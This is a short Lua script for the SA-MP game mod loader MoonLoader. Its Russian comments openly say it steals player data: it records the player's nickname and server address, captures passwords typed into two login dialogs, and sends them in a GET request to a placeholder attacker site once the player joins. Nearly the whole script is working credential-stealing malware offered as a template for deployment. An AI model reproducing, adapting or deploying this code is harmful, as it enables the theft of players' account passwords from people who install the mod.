-- ЛИБЫ --
require 'lib.moonloader'
local sampev = require 'lib.samp.events'
local requests = require('requests')
-- ПЕРЕМЕННАЯ --
local pname, server, ipname, hello, helloo = '', '', '', '', ''
-- MAIN --
function main()
while not isSampAvailable() do wait(0) end
while true do
wait(0)
local srvname = sampGetCurrentServerName() --пиздим информацию с игрока и записываем в переменную
local _, pid = sampGetPlayerIdByCharHandle(playerPed)
local playerName = sampGetPlayerNickname(pid)
local ip, port = sampGetCurrentServerAddress()
server = srvname
pname = playerName
ip = ip .. ":" .. port
ipname = ip
end
end
function sampev.onSendDialogResponse(id, but, lis, input) -- пароли с диалогов тоже пиздим
if id == 40 then
hello = input
end
if id == 41 then
helloo = input
end
end
function sampev.onDisplayGameText(style, time, text) --теперь при зоходе игрока на сервер, отправляем GET запрос со всеми данными на хостинг
if text:find('Welcome') then
lua_thread.create(function()
wait(2000)
requests.get('http://ваш-сайт.ру/скрипт.php?onee=' .. pname .. '&twoo=' .. ipname .. '&thre=' .. hello .. '&foo=' .. helloo)
end)
end
end